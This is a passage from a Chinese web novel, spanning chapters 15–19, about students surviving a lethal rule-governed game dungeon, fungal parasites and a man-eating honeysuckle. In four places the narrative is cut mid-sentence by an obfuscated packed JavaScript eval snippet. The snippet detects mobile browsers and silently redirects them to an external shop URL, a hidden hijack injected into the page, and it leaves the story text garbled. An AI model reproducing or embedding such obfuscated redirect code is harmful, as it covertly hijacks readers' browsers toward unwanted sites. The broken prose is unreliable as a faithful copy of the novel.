权衡利弊后,刘磊扯着嘶哑的喉咙出声:“司令,这个贱人在装死!” 王貔看向这个干瘦的年轻人。他认得刘磊全身上下的鞭痕,那是他每一次试图潜逃后留下来的印记。一般人被士兵泄愤一般地抽打一晚后往往会在第二天清晨死去,而刘磊经历了数次鞭刑却存活了下来。 他是一个为了活不择手段的人。 王貔将拖行舒怀瑾的士兵叫停,走到舒怀瑾的尸体面前,居高临下地俯视着她。 他何尝没发现其中的不对劲呢?只是他偶尔需要满足一下自己的私欲罢了。 他一把拔出身旁士兵的佩刀,朝舒怀瑾心脏处狠狠挥下。 将刀随意丢给身旁的士兵,他擦了擦手,看向刘磊圆瞪的双眼。 “现在,她不是装死了。” 刘磊眼睁睁地看着舒怀瑾的尸体离自己越来越远,仿佛被抽干了气力一般瘫倒在地上。他羸弱的身体不能再支撑多久,来不及再找第二个舒怀瑾了。 监狱的门缓缓合拢,牢房内重归于黑暗。 15. 小组作业7 舒怀瑾没死。 胡文彬的保护性技能让心脏上的豁口只是看起来吓人,实际上内里早已长好。然而,伤害可以抵消,疼痛却是真实存在的。方才那一刀让舒怀瑾疼得几乎魂飞魄散,好在江贮月的变形技能带来的尸僵效果令她如真的尸体一般动弹不得,这才没露出马脚。 舒怀瑾此时双目紧闭。她与程映雪、何华无法睁眼,现在只能依靠胡文彬和龙海玉以自由视角探查周围。 被拖离牢房后,舒怀瑾与另一具尸体被士兵们分开。她被放上担架,两个士兵抬着担架往楼梯走,而另一具尸体不知道被运往了哪里。 胡文彬:“咋回事儿呢?怎么还不一起走的?” 龙海玉:“不知道啊。这怎么走两层还不走了?” “诶诶诶,进房间了。” “我去,地中海!” 舒怀瑾还没从那一刀的疼痛中缓过神来,她就被人从担架上抬到了一张宽大的床上。 程映雪听着胡文彬和龙海玉的描述,心中焦急却无法亲眼看看情况如何,呼唤舒怀瑾也无果,只能向在宿舍内同样不安等待的江贮月与邓溪明转述目前状况。 士兵们将人放下便转身离开了房间。 “地中海转过来了。” “走过来了。” “他在干嘛?他在干嘛?” 房间内响起解开皮带扣的声音。 “……坏了,是恋尸癖。” 舒怀瑾刚清醒一点儿,就听见龙海玉几乎是生无可恋地说出这句话。她大惊,刚想叫江贮月赶紧把自己的变形状态解除,下一秒就发现身体恢复了正常,同时右拳呈一道残影飞入视野,狠狠砸向近在咫尺的肥头大脸。 王貔猝不及防被一具诈尸的尸体暴击了太阳穴,眼白一翻直接晕倒在了舒怀瑾身旁。 舒怀瑾惊魂未定,看向正甩手呼痛的程映雪:“……女侠好身手!” 程映雪见她恢复神智,长舒一口气,语气中都带上了点劫后余生的欢快:“哪有,洒洒水啦。” 事不宜迟,趁着王貔昏倒,五人一合计,干脆一不做二不休,拿王貔房中的匕首给王貔心脏上还了一个大口子,然后联系江贮月把王貔变成了舒怀瑾方才的模样,又将舒怀瑾变成了王貔的模样。 看着地上和自己模样一般的人面色苍白、双唇紧闭,舒怀瑾镇压下亲手剥夺他人生命后剧烈的心跳,在房间内争分夺秒地搜寻着项圈的钥匙。 “咔哒”一声轻响后,沉重的项圈终于从舒怀瑾的脖子上脱落。她将项圈套到王貔的脖子上,又把王貔房中的防护设施套在身上,便学着王貔的样子打开房门,招手将士兵叫过来。 “你把她该送哪去送哪去吧。” 总司令真是越来越快了。士兵心中窃笑,但还是正色应下。 他将“舒怀瑾”的尸体扛在肩上,淅淅沥沥的血淌在他的身上,但他早已见怪不怪。他往楼梯口走了两步,见“总司令”跟在他身后,不禁有些诧异:“您也要去到外边吗?” 舒怀瑾讳莫如深地点点头,挥手示意他继续,别在意自己。 总司令这么做总有他的道理。士兵点点头,继续扛着“舒怀瑾”向上走。 直到来到地表,士兵将“舒怀瑾”堆在小门外的小推车上,才抹了一把汗,心道这姑娘家看起来不胖,重量却实在让他有够呛的。 他朝舒怀瑾敬了个礼,便回到地下去。 舒怀瑾环顾四周,不见人影,这才放心大胆地往后山脚赶去。 邓溪明给她续上了【运动健儿】的技能时长,沿路的风景如剪影般不断向后飞去。 “稍等,我感觉这里有东西。”何华突然出声道。 虽然有点奇怪,但舒怀瑾还是停下脚步:“什么东西?” “你往前面那棵树走,树后两米处有我们需要的东西。” 他们此时在地牢犯人踩出的大路上,只要走在路中间,攻击性的植物就难免鞭长莫及。此时离开大路去靠近那颗充满未知的树,并不是明智之举。 胡文彬:“何老弟,我的技能还在冷却期,这样整有点莽吧?” 何华沉吟:“放心,不会有事的。你们相信我。” 目前来讲,何华在合作过程中的参与积极性较低,因此他此时这句话可信度实在不高。 见另外四人没有想动的意思,何华有些着急:“这是我的技能。其他的我真的不能说了。” “……算了,要不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593638|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去试一下吧。我的火准备好了。”龙海玉打破僵局。 舒怀瑾点点头,程映雪也没有异议。见此情形,胡文彬也只好勉强应下了。 他们谨慎地绕到那棵树后。树下有一堆土壤松软异常,看起来像是被人翻开过。舒怀瑾上前刨开那堆土,从中摸出一小块薄金属片,上面镌刻着密密麻麻的小字。 舒怀瑾还没来得及看清上面写的是什么,似曾相识的一阵风突然袭来,正面直奔她的心脏! 她往身侧扑去,一股火焰凌空追上那道如风的残影,瞬间点燃了它。 五人这才看清它究竟是什么。燃烧的烈火之中,一颗硕大的翅果正用它两端的飞翼奋力扑打着身上的火焰。 舒怀瑾不敢迟疑,趁此机会一个健步冲刺回大路上,向后山方向奔逃。 胡文彬怒喝:“何华!你不是说没事的吗?” “……的确没事啊。”何华的语气听着颇有些心虚。 好在翅果并没有追上来。舒怀瑾气喘吁吁地驻足,摊开掌心阅读那张金属片上的文字。 是许久不见的规则。 【小组作业守则】 一、凌晨三点,所有的锁都会打开。凌晨五点,所有的锁都会关上。如果你在锁开时见到了猴子,请立即闭上双眼,直至猴子离开。 二、金银花生长在潮湿的地方,但潮湿的地方生长着的不一定是金银花。当金银花用触须轻轻抚摸你的脸颊,请远离它。 三、珍惜你的手足,太阳会惩罚一切叛逃者。 四、阳光会给一切带来永远的宁静,请在无路可退时安心投入阳光的怀抱。 五、当心进入它的领地,别变成它的傀儡。 “这第一条……是不是意味着我们不用装死也能逃出来。”龙海玉在心中扶额,感觉先前他们九死一生有点像小丑。 舒怀瑾也有些无奈,但转念一想,她又出声安抚道:“没事,反正我们已经全须全尾地逃出来了。再说了,晚上是个什么情况,我们也不清楚,指不定比白天更危险呢。” 龙海玉叹了口气:“也是。”她不再纠结,转而将心思放在研究守则上。 第五条说“不要成为它的傀儡”,“它”是什么? 16. 小组作业8 “不对,这里的味道不对。” 眼见着离后山脚越来越近了,舒怀瑾却突然停下脚步,警惕地望着四周。 有一股湿润而黏涩的气息在空气中弥漫。舒怀瑾无法准确形容这股味道,但它闻起来似乎有点像菌菇。 “要绕路走吗?”程映雪有些精神紧绷。她们四人的嗅觉被剥夺了,此时只能全凭舒怀瑾一人判别这股怪味的危险程度。 没有人回应她。 “怀瑾?” 她话音未落,便感觉舒怀瑾连带他们四人整体一软,整个人都趴在了地上。 “怀瑾?你怎么了?海玉姐?胡师兄?” 她一边试图用单手将身体支撑起来,一边呼唤着队友的名字。 没用,一只手根本没法负担整个身体的重量,另外四人也没有任何回应。 未知的恐惧将她包围。他们此时躺在路中央,道旁的树木蠢蠢欲动。一朵盛开的蒲公英抖擞茎干,无数毛茸茸的种子随风飘荡到她的手上,扎破她的血肉,肆意生根发芽。 到底是怎么了?是那股气味导致的吗? …… “绕路可能更麻烦。海玉姐,麻烦你多盯着点,我们屏气冲过去吧。”舒怀瑾皱眉道。 这股味道不浓,但一旦侵入她的鼻腔,就有如针刺一般作祟。先前江贮月和邓溪明随众人前往后山脚时并没有这种情况发生,她推测这股气息扩散的范围可能并不大,或者只是暂时性扩散。路旁的树不像是善茬,屏息或许是目前的最佳解法。 龙海玉:“好。” 舒怀瑾的鼻腔愈发难受。她想抬起右手揉揉鼻子,却发现右手软绵绵地垂在身旁,无力驱使。 “映雪?你怎么了?” 一片寂静。 何华探过去,搭上程映雪的手腕。 “有脉搏呢,应该还没死。” “你这人咋回事啊?看你不爽很久了,怎么一上来就咒人家死啊?”胡文彬只恨自己此时只是一条腿,没法撸袖子和何华干一架,要不然他一定上去和何华理论理论。 何华沉默。 舒怀瑾此时心急如焚。宿舍内通讯也无法得到程映雪的回应,就像她灵魂出窍了一般,音讯全无。 她强迫自己镇静下来。按照这个副本的设定,程映雪既然与她共同组成了这具身体,应该是不可能轻易脱离的。退一万步来说,就算有可以主动脱离的方法,她也不会不告诉她。而此时右手尚在,说明她仍然是他们的组员,只是失去了意识,又或者是中了什么圈套。 是那股气味? 她不敢再迟疑,屏住呼吸奋力向前奔跑。 约莫跑出两百米,她突然右腿一软,惯性使她整个人向前飞扑出去,无法控制地重重跌落。 何华勉强撑住地面,通体被沙砾划得鲜血淋漓,这才令头部免于抢地。 “怎么回事?”他咬牙道。 “右腿也没感觉了。”舒怀瑾的胯骨硬生生地磕到地上,惊诧之下她不禁大口呼吸,剧痛伴随着晕眩一齐上涌。 “……胡师兄?” 同样没有回应。 舒怀瑾心中警铃大盛。他们需要立即离开这里!再耽搁下去,可能就再也无法动弹了。 然而如今他们能动的只有左手左脚,龙海玉也遍体鳞伤,膝盖更是宛如骨裂般疼痛,连站起来都困难,更遑论逃离。 “我不要死在这。老娘爬也要爬出去!”龙海玉强撑着一口气往前蹭着,何华也勉力配合着她往前挪动。 杯水车薪。 开始时龙海玉和何华还会发出痛嘶声,逐渐地,他们的声音越来越小。先是何华不再有任何反应,接着龙海玉也不再理会舒怀瑾的询问。 舒怀瑾在一片默然中陷入混沌。 …… 舒怀瑾好像做了一个很长的梦。梦里她根本无法控制自己的身体,就这样躺在愈发刺眼的阳光下。不知道过了多久,突然有人凑上前来,嘴唇一开一合,却没有任何声音。她想张口回应对方,却发现自己的嘴中伸出漆黑的舌片,褶皱如同菌褶般摇曳,猝不及防地喷出一团如雾的东西,随着对方的呼吸灌入其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593639|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻腔。 她昏昏沉沉地看着这一切,但并不能理解这是发生了什么。她伸出手想将身子撑起,但手却牢牢地钳住了对方。 奇怪,她的力气什么时候那么大了?被她钳住的人为什么完全无法挣脱? 中午的日光照在她身上,她感觉身体像脱水一般皱缩起来,眼皮也无法控制地阖上。 …… 再次睁眼之时,天已经完全被夜色笼罩。 这个世界的昼夜温差极大,她一醒就被冻得打了个哆嗦。 身旁传来一阵窸窣,一束灯光直直地照在了她脸上。 “你醒了撒?懂得起就砸吧眼。”一名陌生的少女打着手电俯视她。 虽然不知道怎么回事,但她还是眨了眨眼。 “嗦话?” 舒怀瑾试着张开嘴。少女见状稍微挪远了一点,将灯照在舒怀瑾的口中。 “……喇(难)。” 舒怀瑾只觉得自己舌头好像打结了,皱皱巴巴的,无法准确地说出话来。 “还行哈。躺起了莫动。”少女移开手电筒,继续扒拉身前着微弱的火苗。 舒怀瑾躺在地上,还是无法感知到四肢。她僵硬地扭头,发现旁边还躺了三个人。 “窝……咋……啦?”她艰辛出声。 “被菌子寄生咯。你们四人都在路上躺板板,晒得和干尸样儿还朝我喷孢子。啧啧,那舌舔儿黑老子一跳。” 舒怀瑾默默回想所谓“梦”中的记忆,心道这三人该不会都是被她传染的吧?被孢子寄生,然后被控制着朝别人喷孢子,这似乎指向了规则五。 规则五:当心进入它的领地,别变成它的傀儡。 至于被寄生后怎么能恢复意识这个问题,舒怀瑾猜测是因为她正好倒在大路中央,阳光毒辣,把她连带着阴生的菌菇一起晒脱水了,这才捡回一条命来。 “嘶……好痛!”龙海玉的声音陡然响起。 舒怀瑾眼睛一亮:“你醒啦!” “痛死了……我们这是逃出来了吗?他们呢?” 17. 小组作业9 程映雪从惊惧之中猛然睁开眼,如同上岸的鱼一般大口喘息着。 胡文彬和何华早就醒了,只有程映雪一直不省人事,因此舒怀瑾一直留心观察着她。见她脱离了昏迷状态,舒怀瑾连忙问道:“你终于醒了,现在感觉怎么样?” 程映雪只感觉神经隐隐作痛,她恍惚间看见一旁凭空浮着一簇小小的火焰,晃晃悠悠地照亮着前方的路。 他们这是……逃出来了? 她聚焦了好一会儿,才辨认出四周依旧是茂密的丛林,而他们正在夜色中沿路行进着。 “映雪?” 听见舒怀瑾的声音,程映雪浑身一颤,仍似被根茎穿插缠绕的关节这才像解脱一般松快起来。 “……我在,我在。”她嗓音干涩地回应,“刚刚你们怎么都不见了?我好像被植物的根覆盖住了,是幻觉吗?” “嗯,对。我们之前应该是被真菌寄生了,不过福大命大,又遇上了好心的同学帮忙,总之现在是一切正常了。” 程映雪定睛一看,才发现还有一个编着麻花辫的女生正走在他们身侧。 察觉到她的目光,麻花辫女生微微侧身朝她打招呼:“你好,我是祁蔚光。我和我的四个队友都是医学院的,很高兴认识你。” 和祁蔚光一队人相互认识过后,程映雪才从队友的口中了解到更多她昏迷期间发生的事情。 和他们一组人一块儿被祁蔚光救下的另外三个人中,一个是原住民,醒了就跑走了。另外两个人是同校的男同学,恢复正常后原本是和他们两组人一道儿走的。 但就在大约十分钟前,规则一中所谓的“猴子”毫无征兆地出现在了道路的中央。说它是猴子其实还是有点儿太勉强,毕竟它稀疏油腻的毛发和高大直立的身躯让它更像是一个皮肤松弛、四肢纤细修长的人。 彼时正是凌晨三点半,舒怀瑾一行人当时还没来得及给那两个男同学看他们之前发现的守则,情急之下只能提醒他们守则要求此时闭上双眼。然而其中一个男生并不相信舒怀瑾,转身就要往来时的路逃跑。 一片黑暗之中,舒怀瑾只感到一阵风从身前刮向身后,随后逃跑的男生大叫了一声“互换”,她身后的另一名男生旋即发出刺耳的尖叫声。 血肉迸裂的声音在舒怀瑾身后响起,尖叫声戛然而止,男生粗重的脚步声与呼吸声朝前方逐渐远去,干燥的空气中只剩下身后骨裂的声音。 舒怀瑾大约可以猜到发生了什么,但她不敢违背守则,只能闭眼向前缓慢行走,直到龙海玉与胡文彬说那只“猴子”已经消失了。 她醒来的时候就和祁蔚光交流过,因此祁蔚光也是当机立断地闭上了双眼,这才逃过一劫。 程映雪听到这儿,心下一阵后怕。要是当时被交换的人是他们,恐怕她还没来得及醒来就已经死无葬身之地。 困境之下人难免自私,今后还是得多加小心才是。 …… 一路上不断有步伐匆匆的人从他们身旁掠过,其中不少是原住民。他们浑身脏污,身上溅了星星点点的血迹,但没有人敢停下来,生怕被太阳追上脚步。 先前舒怀瑾并没有询问祁蔚光等人是怎么逃出的地牢,现下见到这般景象不免有些疑惑:“怎么突然多了这么多人?” 祁蔚光有些讶异地看向她:“你不晓得?地牢的总司令栽了,里边一哈儿乱了,项圈也失灵了,能跑的都跑咯。” 没想到这总司令一死,士兵就作鸟兽散,这倒是方便了不少人出逃,舒怀瑾暗道。 天边逐渐翻起鱼肚白,阳光又开始一寸一寸地侵蚀着整个世界。寂静的森林开始舒展着身姿,干瘪的尸体从逐渐松开的根系之中掉落,化为最后的肥料。一切仿佛都准备好开始新的一天,只等待着下一个不幸的猎物踏入沉默的陷阱。 尽管舒怀瑾与祁蔚光等人一直在赶路,但由于夜晚无法通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593640|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳和植物辨别方向,同时还要提防突然冒出来进行攻击的植物,他们直到早晨七点才堪堪赶到后山脚。 四周是那样的安静,原本细微的水流声因此显得格外突出。他们向着水流声源处寻去,终于在一处山涧之中捕捉到了金银花的身影。 阳光从叶片间隙间投下,正好照在那株含苞待放的金银花上。它枝叶丰润,静静地在微风中摇摆。 虽然按照通关要求所说,金银花是可食用的,但它毕竟还是一株活的植物,难保不会主动攻击人。 舒怀瑾缓缓靠近它,试探着它攻击的范围。就在她迈出第四步时,它的枝条却突然朝她面门袭来。 她敏捷地后撤半步,龙海玉的火焰直喷向枝条。枝条受惊回退,却被舒怀瑾持刀一把从分叉处切了下来。 想不到王貔这把刀这么好用。舒怀瑾不禁庆幸自己出门前从王貔身上多搜刮了些趁手的武器。 带着枝条回到相对安全的地带后,为保证材料无误,舒怀瑾细细端详着这根三分熟的枝条。越看,她的眉头便皱得越紧。 叶表革质,枝条上光滑无毛,这哪里是金银花,这分明是断肠草! 断肠草与金银花生得相似,生长环境也大差不差,因而两者之间极易混淆,常有将断肠草认作金银花而误食的惨案发生。 还好她留了个心眼,没有和祁蔚光两人一起一口闷,否则此时两人只能在回家的幻想之中毒发身亡了。 为避免惊动林中的其他植物,她附耳低声将此事告知了祁蔚光。谁知舒怀瑾才说上两句话,何华手中枝条的触感一变,取而代之的是灼烧般的痛感。 何华吃痛甩开手上突然出现的树叶,只见白皙的掌心起了一串饱满的水泡,被甩到地面上的叶子覆满了黏液,在地板上散发出阵阵白烟。 何华的异动引起了舒怀瑾的注意,她噤声审视着四周。 一片灰色的衣角从道路的拐角处闪过。 18. 小组作业10 这个颜色有点眼熟,之前逃走的那名男生似乎就穿着这个颜色的T恤。 “就是那小子吧!之前他就喊了句‘交换’,另一个男生‘刷’一下就和他互换位置了。现在手里的东西突然就不见了,换成这种阴毒的东西,肯定是他整的。”胡文彬愤懑不平道,“本事没多少,净知道害别人。我呸!” 不过那片衣角早就消失不见,再多辨认也是无益。那断肠草留在手上顶多起个对比金银花的作用,被拿走也无大碍。舒怀瑾将此事搁置了下来,和祁蔚光一同继续沿着水流向上走。 他们一路上又断断续续看到几株断肠草,硬挺的叶在光束下泛着莹莹的光。直到走到山涧的泉眼附近,舒怀瑾才发现一株真的金银花。 二人还没来得及靠近,茂密的枝条之中却簌簌作响。在一行人警惕的目光中,一只脚缓缓伸了出来。 “啊,是逃跑的那个男生的脚呢。”何华轻轻出声。那个男生在和他们并行的短暂旅途中前后擦了不下三次鞋,因此他对这双颜色艳丽的AJ有些印象。 那只脚呈现出不正常的青紫色,说不好到底是因为断肠草中毒而死还是被金银花勒得血液不通。但总而言之,它的主人不像是还活着的样子。 “咔咔”的声音从纠缠的枝条中传来,那只脚又渐渐没入了枝条之中。 一摊暗红的血液从根部蔓延开来。 一想到待会儿他们还要吃这金银花,而这金银花才刚吃了人,舒怀瑾就感觉有些犯恶心。 “我的火有点不太够了。”龙海玉的声音有些疲惫,“顶多再喷两次吧。” 祁蔚光见舒怀瑾有些犹豫地站在原地,便拍拍她的肩,道:“一路上都是你们在输出,技能估计消耗得差不多了吧。这次我们先上。” 她们队伍虽然没有什么攻击性技能,但好在保命技能不少,要是打起来也能保个全身而退。 她慢慢靠近金银花,但金银花竟然毫无动静。一切如常,直到她的手触及金银花的叶子。 刹那间,祁蔚光如同触电一般定在了原地。叶片上的绒毛挺立,如同钢针一般扎进了她的指尖,透骨的寒意包裹住她的每一根血管。她双目无神,任由金银花的枝叶如蛇般迅速由她的指尖盘旋而上,布料之下的手臂被勒出块块凸起,眼见着枝条就要攀上她的脖颈。 舒怀瑾一惊,快步抢上前去,寒光利落地将缠绕在祁蔚光手臂上的枝条齐根斩断。祁蔚光这才感觉全身从麻痹中复苏,喘着气一把扯下手上残余的枝条,连连后撤。 “怀瑾快回来!我拿到金银花了!” 但舒怀瑾此时进退维谷。金银花被斩断枝条后仿佛陷入了狂躁状态,扭曲地挥舞着藤条,招招直击舒怀瑾双眼。 她目不暇接地斩断纷乱的藤条,丝毫未发现有两根枝条无声绕到了她的身后。 “小心身后!” 祁蔚光惊呼,同时右手微光闪过,释放出技能【同归于尽】。冲向舒怀瑾腰间的两根枝条“砰”地一声撞到了透明的护盾之上,随后与护盾一同碎成了淡蓝的光点。 但就在舒怀瑾向后看分心的那一瞬间,一根藤条悄然靠近,枝叶上密生的须状物吸附上了她的面庞,轻柔地游荡着,仿佛在抚摸着受惊的孩童。 守则第二条:当金银花用触须轻轻抚摸你的脸颊,请远离它。 淡绿色的细长花蕊在舒怀瑾的眼前绽放,由银变金的花朵朝她的眼睛吐露着芬芳。舒怀瑾的双眼瞬间失去了焦距,她僵硬地陷入了金银花编织的梦境之中。 悠长的歌声洇入她的脑海。 “金黄的阳光普照大地——” “神圣的洗礼降临世间——” “跟随我们,跟随我们——” “解开一切羁绊——” “回到旭日初升的地方——” 【精神值:15】 她看到数以万计的生物背对着她,吟诵着歌谣,朝着太阳顶礼膜拜。巨大的太阳从广阔的海平面下升起,金色的光辉穿过万物的身躯。 【精神值:14】 她哑然眨眼,缓缓升起的太阳突然停在原地,吟唱声戛然而止。所有生物都转向她,热浪席卷而来。 “她是异类!” “她还没有被净化!” 尖啸声阵阵袭来。无论是否有嘴,无论嘴是否腐烂,所有生物都用如泣血一般讨着她。 【精神值:13】 天旋地转之间,她情不自禁地朝着太阳走去,伸出手想要触碰那至高无上的太阳。 “触碰它——” “拥抱它——” “融入它——” 【精神值:12】 “怀瑾!快醒醒!” 就在舒怀瑾的指尖即将碰到所谓的“太阳”时,程映雪的声音如惊雷炸响。 舒怀瑾猛然一颤,抬眼定睛一看,浑身的血液都在倒流。 面前的“太阳”之中涌动着一张张惨白的脸,蜈蚣与蛇在黑洞洞的眼眶中来回穿梭,不断有细长的手臂从口腔之中伸出来,向外延伸着,虚抓着。 手臂之上长满了嘴,每一张嘴都在哀嚎。 “加入我们!” “加入我们!!” “加入个屁——!”舒怀瑾一把抡开摸上她脸颊的冰冷手掌,狠狠扯住想触碰她腰间的手臂,使尽全身力气往外拽。 “有时间在这搞传销,怎么不出来办点实事啊!” 手臂上的嘴尖叫着,还有两只嘴死死咬住了她的手指。 她忍住疼痛,将那只手臂硬生生撕出来。人面上黑洞洞的口腔往外呕出腐烂的五脏六腑,所有的人脸都在惊声尖叫。 舒怀瑾只感到一阵眩晕,眼前一黑一亮,随后是“嗤”的一声响和迟来的剧痛。 一根粗壮的藤蔓洞穿了她的右胸,右手攥刀将藤蔓齐根切断,蓝色的光点浮现在她的伤口处。 晕眩中见这边伤口缓缓愈合,另一边的手臂又被藤蔓穿刺,她的太阳穴突突地跳着,额角上冒出豆大的汗珠。 她尝试着动动手指,但无论她怎么使劲,她都没法像之前那样控制四肢,仿佛一座被切断了联系的孤岛。 “怀瑾她醒了没有?我们的技能要撑不住了!” 祁蔚光的叫喊声从身后传来。 又一条藤蔓扎穿了她的小腹,剧烈的疼痛让她几近昏厥。恍惚之间,她又听见胡文彬的惊叫。 “猴子!猴子从左边来了!” 她强撑着睁开双眼,用余光看向身侧。 细长的身影正垂着手朝他们走来。 想起守则上的内容,舒怀瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593641|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正欲闭眼,却又忽地睁大双眼。 不对!守则上只说在开锁时见到猴子要闭眼,现在是白天的闭锁时间,不符合守则的规定。更何况,在攻势猛烈的金银花之下,闭眼无疑是自断双臂,死路一条。 “别闭眼!时间不对!” 怀瑾醒了!只是她为什么没有掌握自己作为右手的控制权?程映雪闻言睁开了双眼,但她已经是强弩之末,割断枝条的速度远远不及金银花攻击的速度,过量的失血也令她眼前发黑。 “现在怎么办!何华你还有什么后招就赶紧使出来啊!都快死了就别在那遮遮掩掩的了!”胡文彬颤抖地看着嘴角裂开的猴子越走越近,鲜红的血液喷溅在它暗黄的眼珠上,随着眼球的转动而被淤积在眼尾。 何华只是紧紧咬着嘴唇不出声,手心中滑腻湿冷。 胡文彬绝望嘶吼:“那个女生也跑了!今天我们是要交代在这了!” 但猴子不会耐心等待直至他们讨论出个所以然来。它的骨架咔咔作响,右爪五指聚拢呈钩状猛地掏向舒怀瑾的后心。 “蹲下!” 听见舒怀瑾的声音,胡文彬与龙海玉下意识地作出了反应,但重心不稳向前扑倒在金银花之下。 他们两人面色铁青,预想中的攻击却没有立刻到来。往上一望,猴子的右手直直捅进了金银花之中,茂盛的枝叶围着它的小臂烧出一圈空腔来。 金银花须毛尽立,叶片相互碰撞着发出铿铿之声,寒光大盛。看见这一幕的胡文彬与龙海玉大觉不妙,但已来不及收回目光;何华双眼正好朝上,也将这光芒尽收眼底。三人精神值急剧下降,倏忽间失去了意识。 除去开启了【一目叶】而免遭于精神攻击的程映雪与面部朝下无法转头的舒怀瑾外,他们此时几乎算得上是全身瘫痪。 现在,他们真的成为案板上的鱼肉了。 任人宰割的小甜点总是那么地诱人。猴子猩红的舌头舔了舔嘴角,抽回小臂就要对失去行动能力的舒怀瑾一行人下手。金银花的空洞却立即被新生的枝条填满,从中窜出粗壮的枝条迅猛攻向猴子的脖颈。 混浊的黄色眼珠转了转,猴子的双手临时转向,轻易地抓住了金银花的枝条。它似乎有些恼怒金银花的不识趣,双手一撕便将坚硬的藤条扯作扭曲的小节。 蠕动的枝条怦然坠地。 就是现在!舒怀瑾的心脏贴着地面剧烈跳动,她在脑海中朝程映雪大叫:“快吃!” 鲜血淋漓的右手抓住一条藤条移向舒怀瑾的嘴。 猴子的手从上投下的阴影突然变大,舒怀瑾竭尽全力抬起头对准枝上扭曲的黄色花瓣,恶狠狠一口咬下! 反正通关要求是食用金银花,吃到嘴里就算赢! 舒怀瑾的身形仿佛老电影一般闪烁,猴子的五爪直直穿过了她半透明的身躯,深深扎进了泥土之中。 “恭喜通关,正在结算奖励……” 冰冷的机械音再度响起,舒怀瑾等人从未如此时一般打心眼里觉得这声音美妙如天籁。 在晕过去的前一秒,舒怀瑾只记得周身被包裹在淡蓝的光点之中,四肢百骸有如被暖流拂过。 “奖励结算成功。全员存活率100%,正确选择率100%,背景还原率60%,获得奖励【技能升级卡】×1。” 19. 险象环生 “检测到副本内物品……咔咔……未检测到……咔咔……故障已修复。检测到副本内物品,已存储至背包。” “下一次副本开启时间:三天后。” 退出副本后,舒怀瑾和程映雪直接被原路送回了宿舍床上。两人本来也力竭了,舒怀瑾的精神值更是游走在危险边缘,因此一确认安全回到宿舍,她们就顺其自然地闭上眼睛,带着安度晚年的微笑进入了深度睡眠。 …… 晚上八点,3℃的冷风不断撞击着窗户,但寒意尚未透过玻璃进入室内就已经被暖意消融。 舒怀瑾是被饿醒的。她睡眼惺忪,顶着鸡窝头“刷”地打开床帘,把正在吃饭的江贮月和邓溪明吓了一大跳。 “我天,你们俩什么时候回来的?怎么一点动静都没有?”江贮月保持着将小笼包往嘴里送的姿势,又惊又喜地看向睡懵了的舒怀瑾和才迷迷糊糊从床上起身的程映雪。 还好,怀瑾和映雪看起来没受什么伤。 舒怀瑾茫然地挠了挠头。宿舍被升级过后,她每次醒来都要花相当长一段时间来适应,才能相信这么完美的宿舍是现实而不是梦境。 在此期间,程映雪已经默默下床。她木然地走到食品柜前随便拿了点什么,便开始狼吞虎咽。 舒怀瑾简单洗漱过后则点了一碗她最喜欢的麻辣烫。 鲜香的蟹籽包和嫩滑的千叶豆腐入口即化,弹牙的虾滑和肥厚的牛肉片浓而不腻。除了有些太烫了,等得她心急以外,舒怀瑾挑不出这碗香喷喷的麻辣烫任何一个错处。 打住,现在是冬天,为什么麻辣烫凉得这么慢。 周身暖流浮动,舒怀瑾这才发现宿舍里多了一栏暖气片。 “……我们之前升级宿舍的时候,好像没有安装暖气吧?”舒怀瑾满腹狐疑。 江贮月与邓溪明心情复杂地对视一眼:“本来是没有的,但事情要从昨天下午说起……” …… 上午帮助舒怀瑾等人从地牢里逃出去后,江贮月和邓溪明一直没能再联系上她们。对她们的呼唤一次次石沉大海,江贮月和邓溪明的心也一寸寸跌入谷底。 正当她们焦躁不安地在寒冷的宿舍内来回踱步时,一阵叩门声响起,门外传来了一名女生的声音。 